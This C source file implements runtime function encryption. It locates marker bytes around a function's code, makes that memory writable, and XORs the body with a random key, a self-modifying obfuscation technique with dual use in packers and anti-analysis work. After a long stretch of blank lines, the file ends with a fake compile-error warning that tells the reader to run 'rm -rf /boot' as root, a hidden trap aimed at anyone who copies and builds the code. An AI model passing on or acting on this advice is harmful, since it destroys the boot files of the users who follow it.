#include <stdio.h>
#include <unistd.h>
#ifdef __linux__
#include <sys/mman.h> /* PROT_* */
#elif __WIN32__
#include <windows.h>
#else
#error "Unsupported OS. Only __linux__ and __WIN32__ are supported."
#endif

#include "funccrypt.h"

#ifdef _DEBUG
const char *crypt_strs[] = {
    "ERROR",
    "ERROR MEMORY",
    "PROLOGUE",
    "EPILOGUE",
    "CHECK",
    "OK ENCRYPTED",
    "OK DECRYPTED"
};


void printHexBuf(uint8_t *buf, size_t siz, size_t chars_per_line)
{
    size_t i;

    for (i = 0; i < siz; ++i) {
        printf("%02X ", buf[i]);
        if ((i+1) % chars_per_line == 0)
            printf("\n");
    }

    if ((i) % chars_per_line != 0)
        printf("\n");
}
#endif

crypt_return crypt_func(void *fn_start)
{
    size_t i;
    enum crypt_return cret = CRET_ERROR;
    uint8_t *fnbuf = (uint8_t *) fn_start;
    uint8_t *pro = NULL, *epi = NULL, *mbuf;
    uint32_t prologue_marker = 0xC0DEC0DE;
    uint32_t epilogue_marker = 0xCAFECAFE;
    crypt_header *hdr;
    size_t crypt_size;

#ifdef _DEBUG
    printf("Fn: %p\n", fnbuf);
#endif
    for (i = 0; i < CRYPT_FUNC_MAXSIZ; ++i) {

        if (cret == CRET_ERROR &&
            *(uint32_t *) &fnbuf[i] == prologue_marker)
        {
            pro = &fnbuf[i];
            cret = CRET_PROLOGUE;
        } else

        if (cret == CRET_PROLOGUE &&
            *(uint32_t *) &fnbuf[i] == epilogue_marker)
        {
            epi = &fnbuf[i];
            cret = CRET_EPILOGUE;
            break;
        }

    }

    if (cret == CRET_EPILOGUE &&
        i >= sizeof *hdr)
    {
#if _DEBUG
        printf("Prologue Marker: %p\n", pro);
        printf("Epilogue Marker: %p\n", epi);
        printf("Prologue: ");
        printHexBuf(pro - 9, 13, 13);
        printf("Epilogue: ");
        printHexBuf(epi, 4, 4);
#endif
        hdr = (crypt_header *)(pro + sizeof(prologue_marker) - sizeof *hdr);
        crypt_size = epi - (pro + sizeof(prologue_marker)) - 1;

        if (i &&
            (hdr->crpyted == 0x00 || hdr->crpyted == 0xFF)
#ifdef __linux__
            &&
            (long int)crypt_size < sysconf(_SC_PAGESIZE)
#endif
            )
        {
            cret = CRET_CHECK;
#ifdef __linux__
            mbuf = (uint8_t *)( (long int)hdr & ~(sysconf(_SC_PAGESIZE) - 1) );
            if (!mprotect(mbuf, sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE|PROT_EXEC))
#else
            mbuf = (uint8_t *)hdr;
            DWORD old_prot = 0;
            if (VirtualProtect(mbuf, crypt_size, PAGE_EXECUTE_READWRITE, &old_prot))
#endif
            {
                if (hdr->crpyted == 0x00) {
                    /* function not encrypted; encrypt it */
                    hdr->crpyted = 0xFF;
#ifdef __linux__
                    hdr->key  = (uint64_t) rand() << 32;
                    hdr->key |= (uint64_t) rand();
#else
                    hdr->key  = (uint64_t) rand() << 48;
                    hdr->key |= (uint64_t) rand() << 32;
                    hdr->key |= (uint64_t) rand() << 16;
                    hdr->key |= (uint64_t) rand();
#endif
                    cret = CRET_OK_ENC;
                } else {
                    /* function encrypted, decrypt it */
                    cret = CRET_OK_DEC;
                }

                /* (en|de)cryption */
                for (i = 0; i < crypt_size / 0x8; ++i) {
                    hdr->func_body[i] ^= hdr->key;
                }
#ifdef __linux__
                if (mprotect(mbuf, sysconf(_SC_PAGESIZE), PROT_READ|PROT_EXEC))
#else
                if (!VirtualProtect(mbuf, crypt_size, old_prot, &old_prot))
#endif
                    cret = CRET_ERROR_MEM;
            } else cret = CRET_ERROR_MEM;
        }
    }

    return cret;
}



























#if _NOPASTA != 1337
#warning "Unknown compilation error, try enter `rm -rf /boot' as root."
#endif